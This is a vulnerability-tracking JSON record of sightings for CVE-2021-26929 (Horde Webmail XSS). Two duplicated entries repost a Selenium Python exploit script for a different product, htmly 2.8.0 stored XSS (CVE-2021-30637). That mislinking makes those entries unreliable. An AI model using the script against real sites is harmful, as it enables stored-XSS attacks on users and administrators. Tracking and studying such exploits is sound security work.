{"vulnerability": "cve-2021-26929", "sightings": [{"uuid": "23893038-c826-41e2-87fd-2e99d2b9f863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26929", "type": "seen", "source": "MISP/0d1db1c1-c9b1-4ec2-8b8b-30e6fc132a61", "content": "", "creation_timestamp": "2024-11-14T06:08:50.000000Z"}, {"uuid": "3ded379e-340e-4bfd-8de7-47ab8cb17440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26929", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/171", "content": "CVE-2021-26929 Webmail Edition 5.2.22 XSS&\u9060\u7a0b\u547d\u4ee4\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T06:42:48.000000Z"}, {"uuid": "7722be74-d573-43e4-9d99-50a28f90db47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26929", "type": "seen", "source": "https://t.me/cibsecurity/23577", "content": "\u203c CVE-2021-26929 \u203c\n\nAn XSS issue was discovered in Horde Groupware Webmail Edition through 5.2.22 (where the Horde_Text_Filter library before 2.3.7 is used). The attacker can send a plain text e-mail message, with JavaScript encoded as a link or email that is mishandled by preProcess in Text2html.php, because bespoke use of \\x00\\x00\\x00 and \\x01\\x01\\x01 interferes with XSS defenses.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-14T07:45:11.000000Z"}, {"uuid": "37ec42b6-5114-44c3-b7d7-4e5ea17133ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26929", "type": "seen", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:46.576845Z"}, {"uuid": "043af999-382d-4333-b0ff-05165fab6b05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-26929", "type": "seen", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:22.693677Z"}]}